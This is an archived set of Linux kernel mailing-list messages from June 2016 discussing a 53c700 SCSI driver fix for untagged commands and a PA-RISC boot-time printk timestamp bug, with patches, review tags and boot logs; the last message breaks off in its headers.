Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751884AbcFNNKr (ORCPT <rfc822;lnx-linux-scsi@m.gmane.org>);
	Tue, 14 Jun 2016 09:10:47 -0400
Original-Received: from mx1.redhat.com ([209.132.183.28]:36832 "EHLO mx1.redhat.com"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751282AbcFNNKr (ORCPT <rfc822;linux-scsi@vger.kernel.org>);
	Tue, 14 Jun 2016 09:10:47 -0400
Original-Received: from int-mx10.intmail.prod.int.phx2.redhat.com (int-mx10.intmail.prod.int.phx2.redhat.com [10.5.11.23])
	(using TLSv1.2 with cipher ECDHE-RSA-AES256-GCM-SHA384 (256/256 bits))
	(No client certificate requested)
	by mx1.redhat.com (Postfix) with ESMTPS id A01CC7D0F5;
	Tue, 14 Jun 2016 13:10:46 +0000 (UTC)
Original-Received: from [10.18.25.104] (dhcp-25-104.bos.redhat.com [10.18.25.104])
	by int-mx10.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id u5EDAj1c022523;
	Tue, 14 Jun 2016 09:10:45 -0400
In-Reply-To: <1465880407.18583.18.camel@linux.vnet.ibm.com>
X-Scanned-By: MIMEDefang 2.68 on 10.5.11.23
X-Greylist: Sender IP whitelisted, not delayed by milter-greylist-4.5.16 (mx1.redhat.com [10.5.110.27]); Tue, 14 Jun 2016 13:10:46 +0000 (UTC)
Original-Sender: linux-scsi-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-scsi.vger.kernel.org>
X-Mailing-List: linux-scsi@vger.kernel.org
Xref: news.gmane.org gmane.linux.scsi:114340 gmane.linux.ports.parisc:26898
Archived-At: <http://permalink.gmane.org/gmane.linux.scsi/114340>

On Mon, 2016-06-13 at 22:00 -0700, James Bottomley wrote:
> The untagged command case in the 53c700 driver has been broken since
> host wide tags were enabled because the replaced scsi_find_tag()
> function had a special case for the tag value SCSI_NO_TAG to retrieve
> sdev->current_cmnd.  The replacement function scsi_host_find_tag() has
> no such special case and returns NULL causing untagged commands to
> trigger a BUG() in the driver.  Inspection shows that the 53c700 is the
> only driver using this SCSI_NO_TAG case, so a local fix in the driver
> suffices to fix this problem globally.
> 
> Fixes: 64d513ac31b - "scsi: use host wide tags by default"
> Cc: stable@vger.kernel.org	# 4.4+
> Reported-by: Helge Deller <deller@gmx.de>
> Tested-by: Helge Deller <deller@gmx.de>
> Signed-off-by: James Bottomley <jejb@linux.vnet.ibm.com>
> 
> ---
> 
> diff --git a/drivers/scsi/53c700.c b/drivers/scsi/53c700.c
> index d4c2856..3ddc85e 100644
> --- a/drivers/scsi/53c700.c
> +++ b/drivers/scsi/53c700.c
> @@ -1122,7 +1122,7 @@ process_script_interrupt(__u32 dsps, __u32 dsp, struct scsi_cmnd *SCp,
>  		} else {
>  			struct scsi_cmnd *SCp;
>  
> -			SCp = scsi_host_find_tag(SDp->host, SCSI_NO_TAG);
> +			SCp = SDp->current_cmnd;
>  			if(unlikely(SCp == NULL)) {
>  				sdev_printk(KERN_ERR, SDp,
>  					"no saved request for untagged cmd\n");
> @@ -1826,7 +1826,7 @@ NCR_700_queuecommand_lck(struct scsi_cmnd *SCp, void (*done)(struct scsi_cmnd *)
>  		       slot->tag, slot);
>  	} else {
>  		slot->tag = SCSI_NO_TAG;
> -		/* must populate current_cmnd for scsi_host_find_tag to work */
> +		/* save current command for reselection */
>  		SCp->device->current_cmnd = SCp;
>  	}
>  	/* sanity check: some of the commands generated by the mid-layer
> 
> 
> --
> To unsubscribe from this list: send the line "unsubscribe linux-scsi" in
> the body of a message to majordomo@vger.kernel.org
> More majordomo info at  http://vger.kernel.org/majordomo-info.html

Reviewed-by: Ewan D. Milne <emilne@redhat.com>



--
To unsubscribe from this list: send the line "unsubscribe linux-scsi" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:03 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Christoph Hellwig <hch@infradead.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.scsi
Subject: Re: [PATCH] 53c700: fix BUG on untagged commands
Date: Tue, 14 Jun 2016 08:05:55 -0700
Lines: 83
Approved: news@gmane.org
Message-ID: <20160614150555.GA698@infradead.org>
References: <1465880407.18583.18.camel@linux.vnet.ibm.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1465916763 1735 80.91.229.3 (14 Jun 2016 15:06:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 14 Jun 2016 15:06:03 +0000 (UTC)
Cc: linux-scsi <linux-scsi@vger.kernel.org>,
	Parisc List <linux-parisc@vger.kernel.org>,
	Christoph Hellwig <hch@infradead.org>
To: James Bottomley <jejb@linux.vnet.ibm.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Jun 14 17:05:58 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1bCpug-0003bf-0O
	for glpp-linux-parisc@plane.gmane.org; Tue, 14 Jun 2016 17:05:58 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751239AbcFNPF4 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 14 Jun 2016 11:05:56 -0400
Original-Received: from bombadil.infradead.org ([198.137.202.9]:52730 "EHLO
	bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1750985AbcFNPF4 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 14 Jun 2016 11:05:56 -0400
Original-Received: from hch by bombadil.infradead.org with local (Exim 4.80.1 #2 (Red Hat Linux))
	id 1bCpud-00035b-4d; Tue, 14 Jun 2016 15:05:55 +0000
Content-Disposition: inline
In-Reply-To: <1465880407.18583.18.camel@linux.vnet.ibm.com>
User-Agent: Mutt/1.5.24 (2015-08-30)
X-SRS-Rewrite: SMTP reverse-path rewritten from <hch@infradead.org> by bombadil.infradead.org. See http://www.infradead.org/rpr.html
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26899 gmane.linux.scsi:114345
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26899>

Looks fine:

Acked-by: Christoph Hellwig <hch@lst.de>

But it should really go together with something like this:

---
>From e54d1462ae244db3189a8b69018bc5f3e3d3b468 Mon Sep 17 00:00:00 2001
From: Christoph Hellwig <hch@lst.de>
Date: Tue, 14 Jun 2016 17:04:10 +0200
Subject: scsi: move current_cmnd into the 53c700 driver

The 53c700 driver is the only user of the current_cmnd field in
struct scsi_device, so let's move it into the driver private data.

Signed-off-by: Christoph Hellwig <hch@lst.de>
---
 drivers/scsi/53c700.c      | 8 +++++---
 drivers/scsi/53c700.h      | 1 +
 include/scsi/scsi_device.h | 1 -
 3 files changed, 6 insertions(+), 4 deletions(-)

diff --git a/drivers/scsi/53c700.c b/drivers/scsi/53c700.c
index 3ddc85e..de53b23 100644
--- a/drivers/scsi/53c700.c
+++ b/drivers/scsi/53c700.c
@@ -1120,9 +1120,9 @@ process_script_interrupt(__u32 dsps, __u32 dsp, struct scsi_cmnd *SCp,
 				"reselection is tag %d, slot %p(%d)\n",
 				hostdata->msgin[2], slot, slot->tag);
 		} else {
-			struct scsi_cmnd *SCp;
+			struct NCR_700_Device_Parameters *p = SDp->hostdata;
+			struct scsi_cmnd *SCp = p->current_cmnd;
 
-			SCp = SDp->current_cmnd;
 			if(unlikely(SCp == NULL)) {
 				sdev_printk(KERN_ERR, SDp,
 					"no saved request for untagged cmd\n");
@@ -1825,9 +1825,11 @@ NCR_700_queuecommand_lck(struct scsi_cmnd *SCp, void (*done)(struct scsi_cmnd *)
 		CDEBUG(KERN_DEBUG, SCp, "sending out tag %d, slot %p\n",
 		       slot->tag, slot);
 	} else {
+		struct NCR_700_Device_Parameters *p = SCp->device->hostdata;
+
 		slot->tag = SCSI_NO_TAG;
 		/* save current command for reselection */
-		SCp->device->current_cmnd = SCp;
+		p->current_cmnd = SCp;
 	}
 	/* sanity check: some of the commands generated by the mid-layer
 	 * have an eccentric idea of their sc_data_direction */
diff --git a/drivers/scsi/53c700.h b/drivers/scsi/53c700.h
index e06bdfe..83b157e 100644
--- a/drivers/scsi/53c700.h
+++ b/drivers/scsi/53c700.h
@@ -82,6 +82,7 @@ struct NCR_700_Device_Parameters {
 	 * cmnd[1], this could be in static storage */
 	unsigned char cmnd[MAX_COMMAND_SIZE];
 	__u8	depth;
+	struct scsi_cmnd *current_cmnd;	/* currently active command */
 };
 
 
diff --git a/include/scsi/scsi_device.h b/include/scsi/scsi_device.h
index a6c346d..8a95631 100644
--- a/include/scsi/scsi_device.h
+++ b/include/scsi/scsi_device.h
@@ -94,7 +94,6 @@ struct scsi_device {
 	spinlock_t list_lock;
 	struct list_head cmd_list;	/* queue of in use SCSI Command structures */
 	struct list_head starved_entry;
-	struct scsi_cmnd *current_cmnd;	/* currently active command */
 	unsigned short queue_depth;	/* How deep of a queue we want */
 	unsigned short max_queue_depth;	/* max queue depth */
 	unsigned short last_queue_full_depth; /* These two are used by */
-- 
2.1.4

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:03 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Mikulas Patocka <mpatocka@redhat.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: invalid printk time during boot on PA-RISC
Date: Tue, 14 Jun 2016 12:20:53 -0400 (EDT)
Lines: 113
Approved: news@gmane.org
Message-ID: <alpine.LRH.2.02.1606141216510.29159@file01.intranet.prod.int.rdu2.redhat.com>
References: <alpine.LRH.2.02.1605310735130.6341@file01.intranet.prod.int.rdu2.redhat.com> <20160601211248.GA15061@p100.box>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1465921540 18574 80.91.229.3 (14 Jun 2016 16:25:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 14 Jun 2016 16:25:40 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Jun 14 18:25:39 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1bCr5F-0005TX-Lp
	for glpp-linux-parisc@plane.gmane.org; Tue, 14 Jun 2016 18:20:58 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751893AbcFNQU4 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 14 Jun 2016 12:20:56 -0400
Original-Received: from mx1.redhat.com ([209.132.183.28]:59441 "EHLO mx1.redhat.com"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751742AbcFNQUz (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Tue, 14 Jun 2016 12:20:55 -0400
Original-Received: from int-mx10.intmail.prod.int.phx2.redhat.com (int-mx10.intmail.prod.int.phx2.redhat.com [10.5.11.23])
	(using TLSv1.2 with cipher ECDHE-RSA-AES256-GCM-SHA384 (256/256 bits))
	(No client certificate requested)
	by mx1.redhat.com (Postfix) with ESMTPS id 4472BC05B1DE;
	Tue, 14 Jun 2016 16:20:55 +0000 (UTC)
Original-Received: from file01.intranet.prod.int.rdu2.redhat.com (file01.intranet.prod.int.rdu2.redhat.com [10.11.5.7])
	by int-mx10.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id u5EGKrf1008879
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO);
	Tue, 14 Jun 2016 12:20:55 -0400
Original-Received: from file01.intranet.prod.int.rdu2.redhat.com (localhost [127.0.0.1])
	by file01.intranet.prod.int.rdu2.redhat.com (8.14.4/8.14.4) with ESMTP id u5EGKraC029996;
	Tue, 14 Jun 2016 12:20:53 -0400
Original-Received: from localhost (mpatocka@localhost)
	by file01.intranet.prod.int.rdu2.redhat.com (8.14.4/8.14.4/Submit) with ESMTP id u5EGKr8S029992;
	Tue, 14 Jun 2016 12:20:53 -0400
X-Authentication-Warning: file01.intranet.prod.int.rdu2.redhat.com: mpatocka owned process doing -bs
X-X-Sender: mpatocka@file01.intranet.prod.int.rdu2.redhat.com
In-Reply-To: <20160601211248.GA15061@p100.box>
User-Agent: Alpine 2.02 (LRH 1266 2009-07-14)
X-Scanned-By: MIMEDefang 2.68 on 10.5.11.23
X-Greylist: Sender IP whitelisted, not delayed by milter-greylist-4.5.16 (mx1.redhat.com [10.5.110.32]); Tue, 14 Jun 2016 16:20:55 +0000 (UTC)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26900
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26900>

Hi

There is another bug: when you enable CONFIG_DEBUG_TIMEKEEPING, parisc 
boot gets stuck with these messages. (but it is not caused by the patch 
54b668009076caddbede8fde513ca2c982590bfe, because this bug happens even in 
kernel 4.6).

Mikulas

[    0.000000] Memory: 7201556K/7337984K available (4096K kernel code, 1419K rwdata, 883K rodata, 176K init, 2296K bss, 136428K reserved, 0K cma-reserved)
[    0.000000] virtual kernel memory layout:
[    0.000000]     vmalloc : 0x0000000000008000 - 0x000000003f000000   (1007 MB)
[    0.000000]     memory  : 0x0000000040000000 - 0x0000004140000000   (266240 MB)
[    0.000000]       .init : 0x0000000040100000 - 0x000000004012c000   ( 176 kB)
[    0.000000]       .data : 0x000000004052c000 - 0x000000004076bb60   (2302 kB)
[    0.000000]       .text : 0x000000004012c000 - 0x000000004052c000   (4096 kB)
[    0.000000] SLUB: HWalign=16, Order=0-3, MinObjects=0, CPUs=4, Nodes=8
[    0.000000] Hierarchical RCU implementation.
[    0.000000]  Build-time adjustment of leaf fanout to 64.
[    0.000000] NR_IRQS:80
[    0.000000] clocksource: cr16: mask: 0xffffffffffffffff max_cycles: 0x1cd42e4dffb, max_idle_ns: 881590591483 ns
[    0.133333] WARNING: timekeeping: Cycle offset (40) is larger than allowed by the 'jiffies' clock's max_cycles value (10): time overflow danger
[    0.133333]          timekeeping: Your kernel is sick, but tries to cope by capping time updates
[    0.133333] Console: colour dummy device 160x64
[    0.303333] WARNING: timekeeping: Cycle offset (51) is larger than allowed by the 'jiffies' clock's max_cycles value (10): time overflow danger
[    0.303333]          timekeeping: Your kernel is sick, but tries to cope by capping time updates
[    0.423333] WARNING: timekeeping: Cycle offset (36) is larger than allowed by the 'jiffies' clock's max_cycles value (10): time overflow danger
[    0.423333]          timekeeping: Your kernel is sick, but tries to cope by capping time updates
[    0.483333] WARNING: timekeeping: Cycle offset (18) is larger than allowed by the 'jiffies' clock's max_cycles value (10): time overflow danger
[    0.483333]          timekeeping: Your kernel is sick, but tries to cope by capping time updates
[    0.653333] WARNING: timekeeping: Cycle offset (51) is larger than allowed by the 'jiffies' clock's max_cycles value (10): time overflow danger
[    0.653333]          timekeeping: Your kernel is sick, but tries to cope by capping time updates
[    0.769999] WARNING: timekeeping: Cycle offset (35) is larger than allowed by the 'jiffies' clock's max_cycles value (10): time overflow danger
[    0.769999]          timekeeping: Your kernel is sick, but tries to cope by capping time updates
[    0.943333] WARNING: timekeeping: Cycle offset (52) is larger than allowed by the 'jiffies' clock's max_cycles value (10): time overflow danger
[    0.943333]          timekeeping: Your kernel is sick, but tries to cope by capping time updates


On Wed, 1 Jun 2016, Helge Deller wrote:

> * Mikulas Patocka <mpatocka@redhat.com>:
> > Hi
> > 
> > With the kernel 4.7-rc1, I get corrupted printk times when the machine 
> > boots. The kernel is compiled with "Show timing information on printks" 
> > (CONFIG_PRINTK_TIME) enabled. There are no other negative effects.
> > 
> > Bisecting shows that it is caused by the patch 
> > 54b668009076caddbede8fde513ca2c982590bfe ("parisc: Add native 
> > high-resolution sched_clock() implementation").
> > 
> > [    0.000000] NR_IRQS:80
> > [    0.000000] clocksource: cr16: mask: 0xffffffffffffffff max_cycles: 0x1cd42e4dffb, max_idle_ns: 881590591483 ns
> > [    0.000000] Console: colour dummy device 160x64
> > [   90.122205] Calibrating delay loop... 1991.60 BogoMIPS (lpj=3317760)
> > [   90.224168] pid_max: default: 32768 minimum: 301
> > ....
> > [   92.235878] 13. Crestone Peak Core RS-232 at 0xfffffff0f05e2000 [18] { 10, 0x0, 0x076, 0x000ad }
> > [   92.708000] Releasing cpu 1 now, hpa=fffffffffe781000
> > [   92.818803] FP[1] enabled: Rev 1 Model 20
> > [    2.917508] Releasing cpu 2 now, hpa=fffffffffe798000
> > [    0.196666] FP[2] enabled: Rev 1 Model 20
> > [    3.116794] Releasing cpu 3 now, hpa=fffffffffe799000
> > [    0.196666] FP[3] enabled: Rev 1 Model 20
> > [    3.296942] CPU(s): 4 out of 4 PA8900 (Shortfin) at 1000.000000 MHz online
> > [    3.447762] Setting cache flush threshold to 65536 kB
> > [    3.450548] Setting TLB flush threshold to 1020 kB
> 
> Please try attached patch.
> 
> It fixes the problem mostly for me, there is just one little glitch
> left, which is that the lines "FP[x] enabled" will still print an
> invalid time. I assume it's because when this text is printed, the
> clock/interrupts for the just booted CPU aren't enabled yet.
> 
> I'm not sure it's worth trying to fix that. 
> One could print out that info at a later time, or just disabled it.
> 
> Helge
> 
> [    5.720014] Enabling PDC_PAT chassis codes support v0.05
> [    6.644542] Releasing cpu 1 now, hpa=fffffffffe781000
> [    0.196000] FP[1] enabled: Rev 1 Model 20
> [    7.088432] CPU(s): 2 out of 2 PA8800 (Mako) at 900.000000 MHz online
> 
> -----------
> 
> [PATCH] parisc: Fix printk time during boot
> 
> Signed-off-by: Helge Deller <deller@gmx.de>
> 
> diff --git a/arch/parisc/kernel/time.c b/arch/parisc/kernel/time.c
> index 58dd680..31ec99a 100644
> --- a/arch/parisc/kernel/time.c
> +++ b/arch/parisc/kernel/time.c
> @@ -309,11 +309,6 @@ void __init time_init(void)
>  	clocks_calc_mult_shift(&cyc2ns_mul, &cyc2ns_shift, current_cr16_khz,
>  				NSEC_PER_MSEC, 0);
>  
> -#if defined(CONFIG_HAVE_UNSTABLE_SCHED_CLOCK) && defined(CONFIG_64BIT)
> -	/* At bootup only one 64bit CPU is online and cr16 is "stable" */
> -	set_sched_clock_stable();
> -#endif
> -
>  	start_cpu_itimer();	/* get CPU 0 started */
>  
>  	/* register at clocksource framework */
> 
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:03 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.scsi,gmane.linux.ports.parisc
Subject: Re: [PATCH] 53c700: fix BUG on untagged commands
Date: Tue, 14 Jun 2016 22:32:55 +0200
Lines: 94
Approved: news@gmane.org
Message-ID: <576069F7.6040706@gmx.de>
References: <1465880407.18583.18.camel@linux.vnet.ibm.com>
 <20160614150555.GA698@infradead.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=windows-1252
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1465936419 1006 80.91.229.3 (14 Jun 2016 20:33:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 14 Jun 2016 20:33:39 +0000 (UTC)
Cc: linux-scsi <linux-scsi@vger.kernel.org>,
	Parisc List <linux-parisc@vger.kernel.org>
To: Christoph Hellwig <hch@infradead.org>,
	James Bottomley <jejb@linux.vnet.ibm.com>
Original-X-From: linux-scsi-owner@vger.kernel.org Tue Jun 14 22:33:31 2016
Return-path: <linux-scsi-owner@vger.kernel.org>
Envelope-to: lnx-linux-scsi@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-scsi-owner@vger.kernel.org>)
	id 1bCv1f-0005XY-49
	for lnx-linux-scsi@plane.gmane.org; Tue, 14 Jun 2016 22:33:31 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752195AbcFNUda (ORCPT <rfc822;lnx-linux-scsi@m.gmane.org>);
	Tue, 14 Jun 2016 16:33:30 -0400
Original-Received: from mout.gmx.net ([212.227.15.19]:63498 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751958AbcFNUd2 (ORCPT <rfc822;linux-scsi@vger.kernel.org>);
	Tue, 14 Jun 2016 16:33:28 -0400
Original-Received: from [192.168.20.60] ([92.203.33.18]) by mail.gmx.com (mrgmx002)
 with ESMTPSA (Nemesis) id 0LtIZH-1bOlj11YUd-012o8q; Tue, 14 Jun 2016 22:32:56
 +0200
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:38.0) Gecko/20100101
 Thunderbird/38.1.0
In-Reply-To: <20160614150555.GA698@infradead.org>
X-Provags-ID: V03:K0:rcuEZvgMGkDAQUx3mLoc+vDBr+2Wb9D/u4CnAj2jx3THmX/F5C3
 hQqpNDxOP4nfWcWK7pKfrrmHJIx62NieGoxlMrv50tqTHLRfQ/0pIOmkNWToXtpQ07OxOCa
 z0J8Wb4kDeeNfCKCaHLvaokpL4G3WVhLisRrdy5oB2B75oRJWQ17tlBtF9kpV/YQzziZem1
 3IZ4MuHfj1XV4i/QNOVBQ==
X-UI-Out-Filterresults: notjunk:1;V01:K0:P0bfH/aQFjQ=:aKU91J+O+PYE15bc7kjh4Y
 Q2KwDcFiLK7d1fHfZdoOJ2OjFkB8Hgb+Tkoqi6K5jWGNkvjJ3Z/CxUkjl9O0lZ+HKgalbYJSq
 1ndQWqmCrkqVi4jsHsjHKy0qkvWFQbYMSCytdMZI9XsA+ctbgdU9bxDcr8vp67WBpozFiamM0
 EdXq6r8wXtWl5bV8KwgLFGF6pSZRUYnpX2qTjyCmzjlMavSE4h/Be3uOmVZZDYT4tAFhVCiDT
 axXWfrLI4GMXFXJ8gY/F1X0NeVgEUYLn9Xyr4JTd6SaxgZI1uxBMQHUeVnqKTby7y7CQbbNu/
 JuNNyBx9xoDNHReMbc4DDA1EhlTq3aqMi0lnnU43IRZ9Rh7HKQcxcpcPYBw+A7RD5CJWzSKIy
 x1Q4XlhaVKHVp/ta6sgTbDm2oVSqcGlcKK0RYQmP/ktQt9oJUQJoacFm4JzDulvvhlEXaTb3/
 jXLeYdsYWoMp/MmHgd1DSXNgdwJEgw3MLR13qFKKIX4raoa+j9gDV17nEnASpbHGLFzBNwN8V
 k8HOL/6Ku/k7k4BpZaEicXPc6BB+sKQ8JvAgbdOdjOrs5WLSuTv9DgVzJmubxtIq7dZ6XTi3l
 RDGFmoQZfH6yrGgGe21A53hBdrgEh3iAbBKcmV3Ew9zqYjPczm8S9fZ7oykudW4OgH2uW4dKF
 6Eb3wCKCIwDyv0QfVI8Yznyld8nQQ13CjMplW5v2RSn+YsV/JqY0AsZxhETItfQfjZGOmqnvd
 5d+oxVBfTMNE86pqH8oRWQxsL/RQZ8839vgUi+hWKyA5qYnQN/Fnsxi1b4j87at93KQnYKgJ 
Original-Sender: linux-scsi-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-scsi.vger.kernel.org>
X-Mailing-List: linux-scsi@vger.kernel.org
Xref: news.gmane.org gmane.linux.scsi:114346 gmane.linux.ports.parisc:26901
Archived-At: <http://permalink.gmane.org/gmane.linux.scsi/114346>

On 14.06.2016 17:05, Christoph Hellwig wrote:
> Looks fine:
> 
> Acked-by: Christoph Hellwig <hch@lst.de>
> 
> But it should really go together with something like this:
> 
> ---
> From e54d1462ae244db3189a8b69018bc5f3e3d3b468 Mon Sep 17 00:00:00 2001
> From: Christoph Hellwig <hch@lst.de>
> Date: Tue, 14 Jun 2016 17:04:10 +0200
> Subject: scsi: move current_cmnd into the 53c700 driver
> 
> The 53c700 driver is the only user of the current_cmnd field in
> struct scsi_device, so let's move it into the driver private data.
> 
> Signed-off-by: Christoph Hellwig <hch@lst.de>

Patch is OK.

Tested-by: Helge Deller <deller@gmx.de>

Even if this is not a real fix, I still would suggest to add
Cc: stable@vger.kernel.org	# 4.4+
as well to get both patches backported at the same time.

Helge

> ---
>  drivers/scsi/53c700.c      | 8 +++++---
>  drivers/scsi/53c700.h      | 1 +
>  include/scsi/scsi_device.h | 1 -
>  3 files changed, 6 insertions(+), 4 deletions(-)
> 
> diff --git a/drivers/scsi/53c700.c b/drivers/scsi/53c700.c
> index 3ddc85e..de53b23 100644
> --- a/drivers/scsi/53c700.c
> +++ b/drivers/scsi/53c700.c
> @@ -1120,9 +1120,9 @@ process_script_interrupt(__u32 dsps, __u32 dsp, struct scsi_cmnd *SCp,
>  				"reselection is tag %d, slot %p(%d)\n",
>  				hostdata->msgin[2], slot, slot->tag);
>  		} else {
> -			struct scsi_cmnd *SCp;
> +			struct NCR_700_Device_Parameters *p = SDp->hostdata;
> +			struct scsi_cmnd *SCp = p->current_cmnd;
>  
> -			SCp = SDp->current_cmnd;
>  			if(unlikely(SCp == NULL)) {
>  				sdev_printk(KERN_ERR, SDp,
>  					"no saved request for untagged cmd\n");
> @@ -1825,9 +1825,11 @@ NCR_700_queuecommand_lck(struct scsi_cmnd *SCp, void (*done)(struct scsi_cmnd *)
>  		CDEBUG(KERN_DEBUG, SCp, "sending out tag %d, slot %p\n",
>  		       slot->tag, slot);
>  	} else {
> +		struct NCR_700_Device_Parameters *p = SCp->device->hostdata;
> +
>  		slot->tag = SCSI_NO_TAG;
>  		/* save current command for reselection */
> -		SCp->device->current_cmnd = SCp;
> +		p->current_cmnd = SCp;
>  	}
>  	/* sanity check: some of the commands generated by the mid-layer
>  	 * have an eccentric idea of their sc_data_direction */
> diff --git a/drivers/scsi/53c700.h b/drivers/scsi/53c700.h
> index e06bdfe..83b157e 100644
> --- a/drivers/scsi/53c700.h
> +++ b/drivers/scsi/53c700.h
> @@ -82,6 +82,7 @@ struct NCR_700_Device_Parameters {
>  	 * cmnd[1], this could be in static storage */
>  	unsigned char cmnd[MAX_COMMAND_SIZE];
>  	__u8	depth;
> +	struct scsi_cmnd *current_cmnd;	/* currently active command */
>  };
>  
>  
> diff --git a/include/scsi/scsi_device.h b/include/scsi/scsi_device.h
> index a6c346d..8a95631 100644
> --- a/include/scsi/scsi_device.h
> +++ b/include/scsi/scsi_device.h
> @@ -94,7 +94,6 @@ struct scsi_device {
>  	spinlock_t list_lock;
>  	struct list_head cmd_list;	/* queue of in use SCSI Command structures */
>  	struct list_head starved_entry;
> -	struct scsi_cmnd *current_cmnd;	/* currently active command */
>  	unsigned short queue_depth;	/* How deep of a queue we want */
>  	unsigned short max_queue_depth;	/* max queue depth */
>  	unsigned short last_queue_full_depth; /* These two are used by */
> 

--
To unsubscribe from this list: send the line "unsubscribe linux-scsi" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:03 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: invalid printk time during boot on PA-RISC
Date: Tue, 14 Jun 2016 23:23:35 +0200
Lines: 164
Approved: news@gmane.org
Message-ID: <576075D7.60602@gmx.de>
References: <alpine.LRH.2.02.1605310735130.6341@file01.intranet.prod.int.rdu2.redhat.com>
 <20160601211248.GA15061@p100.box>
 <alpine.LRH.2.02.1606141216510.29159@file01.intranet.prod.int.rdu2.redhat.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=windows-1252
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1465939444 14910 80.91.229.3 (14 Jun 2016 21:24:04 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 14 Jun 2016 21:24:04 +0000 (UTC)
Cc: "linux-parisc@vger.kernel.org" <linux-parisc@vger.kernel.org>
To: Mikulas Patocka <mpatocka@redhat.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Jun 14 23:23:58 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1bCvoP-0001bX-6O
